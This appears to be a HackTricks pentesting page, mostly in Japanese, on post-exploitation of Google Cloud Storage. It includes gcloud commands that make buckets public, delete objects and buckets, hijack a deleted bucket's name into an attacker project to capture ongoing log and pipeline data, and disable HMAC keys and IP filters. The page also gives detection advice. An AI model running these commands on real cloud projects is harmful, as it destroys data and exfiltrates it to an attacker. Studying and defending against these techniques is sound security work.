Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
T

5.4 KiB

GCP - Storage Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Cloud Storage

Cloud Storage についての詳細はこのページを確認してください:

{{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}}

Public Access を付与

外部ユーザー(GCP にログインしているかどうかに関係なく)に bucket の内容へのアクセスを付与することは可能です。ただし、デフォルトでは bucket を public に公開するオプションは無効になっています:

# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention

# Make all objects in a bucket public
gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
## I don't think you can make specific objects public just with IAM

# Make a bucket or object public (via ACL)
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER

ACLs が無効な bucket に ACLs を付与しようとすると、次の error が表示されます: ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access

browser 経由で open bucket にアクセスするには、https://<bucket_name>.storage.googleapis.com/ または https://<bucket_name>.storage.googleapis.com/<object_name> にアクセスします

storage.objects.delete (storage.objects.get)

object を delete するには:

gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>

storage.buckets.delete, storage.objects.delete & storage.objects.list

バケットを削除するには:

gcloud storage rm -r gs://<BUCKET_NAME>

上流の writer による Global bucket name takeover

Cloud Storage の bucket name はグローバルに一意です。bucket を削除する前に、どの automated service もその bucket に name で書き込み続けていないか確認してください。bucket が削除され、同じ name が attacker-controlled project で再作成されると、Cloud Logging sinks、Pub/Sub Cloud Storage subscriptions、または Storage Transfer Service jobs などの上流の writer は、今後の data をその replacement bucket に書き込み続ける可能性があります。

# Cloud Logging sinks using GCS
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,writerIdentity)'

# Pub/Sub subscriptions writing messages into GCS
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'

# Storage Transfer Service jobs
gcloud transfer jobs list --project <PROJECT_ID>

# Delete and reclaim the destination bucket name
gcloud storage rm -r gs://<BUCKET_NAME>
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>

上流サービスが必要とする場合は、関連する writer identity に replacement bucket へのアクセス権を付与します:

gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='<WRITER_IDENTITY_MEMBER>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>

Potential Impact: long-term exfiltration of logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.

Detection & Mitigation: bucket deletionをsinks/subscriptions/jobsで参照されている場合は高リスクとして扱い、dangling destinationsをアラートし、storage.buckets.deleteを制限し、必要に応じて重要なexport bucketに対してretention policiesまたはlegal holdsを使用する。

HMAC Keysを無効化する

storage.hmacKeys.update権限はHMAC keysの無効化を許可し、storage.hmacKeys.delete権限はCloud Storageのservice accountsに関連付けられたHMAC keysをidentityが削除することを許可する。

# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate

# Delete
gcloud storage hmac delete <ACCESS_ID>

storage.buckets.setIpFilter & storage.buckets.update

storage.buckets.setIpFilter 権限は、storage.buckets.update 権限と組み合わせることで、Cloud Storage bucket に対して IP address フィルタを設定し、どの IP 範囲またはアドレスが bucket のリソースにアクセスできるかを指定できます。

IP filter を完全に削除するには、次のコマンドを使用できます:

gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>

フィルタリングされたIPを変更するには、次のコマンドを使用できます:

gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>

JSONファイルはfilter自体を表しており、たとえば次のようになります:

{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}

storage.buckets.restore

バケットを復元するには:

gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>

{{#include ../../../banners/hacktricks-training.md}}